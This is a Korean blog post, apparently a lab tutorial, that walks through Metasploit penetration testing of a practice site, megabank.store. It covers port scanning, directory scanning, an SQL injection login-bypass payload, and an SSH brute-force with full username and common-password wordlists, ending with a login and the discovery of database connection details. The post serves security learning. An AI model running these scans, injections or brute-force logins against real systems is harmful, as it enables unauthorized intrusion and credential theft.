Notice
Recent Posts
Recent Comments
Link
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Archives
Today
Total
관리 메뉴

쟝이의 세상

Metasploit을 활용하여 모의해킹 본문

자료

Metasploit을 활용하여 모의해킹

zyangee 2024. 10. 25. 18:09

📌 Metasploit

: 다양한 보안 테스트와 모의해킹(펜테스팅)을 수행할 수 있는 오픈 소스 침투 테스트 프레임워크

네트워크, 시스템, 웹 애플리케이션 등의 취약점을 탐지하고 실제로 악용해보는 데 유용

 

📎 주요 기능
1) 취약점 탐지 및 공격
: 미리 작성된 공격 모듈을 이용해 다양한 취약점에 대한 테스트 수행
2) 익스플로잇(Exploit) 및 페이로드(Payload) 사용
- Exploit: 시스템 취약점을 악용하여 원격 코드 실행 등 공격을 수행
- Payload: 공격이 성공한 후 실행할 명령(ex. 역방향 쉘(reverse shell) 또는 Meterpreter 세션 획득)

 


✔️ 실행하기 전 먼저 해야할 단계
sudo nmap -sT www.megabank.store
22(ssh)와 80(http) 포트가 열려있는 것을 확인
열려 있는 포트의 취약점 테스트 시도

 

📌 HTTP 취약점 테스트

1️⃣ 모듈 선택

(웹 서버의 HTTP 응답에서 웹 애플리케이션의 정보를 확인하는 데 사용되는 모듈)

use auxiliary/scanner/http/title

 

  •  스캔 실행
run http://megabank.store

타깃 웹 서버인 megabank.store의 웹 서버 IP 주소와 Apache 버전정보가 출력됨

 

2️⃣ 모듈 선택

(웹 서버의 디렉토리 및 파일 경로 스캔)

use auxiliary/scanner/http/files_dir

 

  • 옵션 설정 및 실행
set RHOSTS [web서버 IP]
exploit

- 특정 파일(ex. index.php, login.php)이나 디렉터리(ex. api, account)가 존재하는지 확인하여 해당 파일이나 디렉터리의 취약점을 분석할 수 있다.

- login.php와 같은 로그인 페이지가 발견되면 로그인 우회를 시도하거나 SQL 인젝션, XSS 등의 취약점을 점검할 수 있다.

 

3️⃣ 모듈 선택

(웹 애플리케이션에서 SQL 인젝션 취약점을 찾기 위해 특정 경로에 대해 오류 기반 SQL 인젝션을 테스트)

use auxiliary/scanner/http/error_sql_injection

  • 옵션 설정 및 실행
set DATA "username=admin&password=' OR '1'='1"
set METHOD POST
set PATH /login.php
set RHOSTS [web서버 IP]

exploit

해당 경로에서 SQL 인젝션 취약점 발견, 취약한 쿼리 파라미터는 password 임을 확인

 

📌 SSH 취약점 테스트

1️⃣ 모듈 선택

(대상 SSH 서버의 버전을 스캔하여 정보를 수집)

use auxiliary/scanner/ssh/ssh_version

  • 옵션 설정 및 실행
set RHOSTS [web서버 IP]
exploit

- SSH 키 지문: ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFs3FsOuHh6fFZpCN8vw7UfeyCLzki+GTpydr2qCrsZD

(서버의 SSH 공개 키 지문)

- SSH 서버 버전: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5

(서버에서 사용 중인 OpenSSH 버전)

 

2️⃣ 모듈 선택 - ssh 브루트포스 실행

(알려진 사용자 및 비밀번호 목록을 사용하여 무차별 대입 공격을 실시)

use scanner/ssh/ssh_login

  • 옵션 설정 및 실행
set PASS_FILE /home/kali/password.txt
set RHOSTS [web서버 IP]
set RPORT 22
set USER_FILE /home/kali/username.txt

exploit

👇🏻 username.txt / password.txt 파일 내용

더보기

✔️ username.txt 파일

root
user
user1
admin
test
guest
administrator

 

✔️ password.txt 파일

password
123456
123456789
qwerty
abc123
111111
12345678
12345
letmein
admin
welcome
monkey
1234
password1
qwerty123
123123
q1w2e3
1q2w3e
sunshine
iloveyou
1234567
87654321
dragon
passw0rd
p@ssw0rd
P@ssw0rd
Password
123qwe
abcdef

  • 결과로 출력된 SSH 사용자 ID/PW로 로그인 시도

  • 웹 페이지의 기본 경로 목록 확인

  • dbconn.php 에서 데이터베이스 연결 IP 확인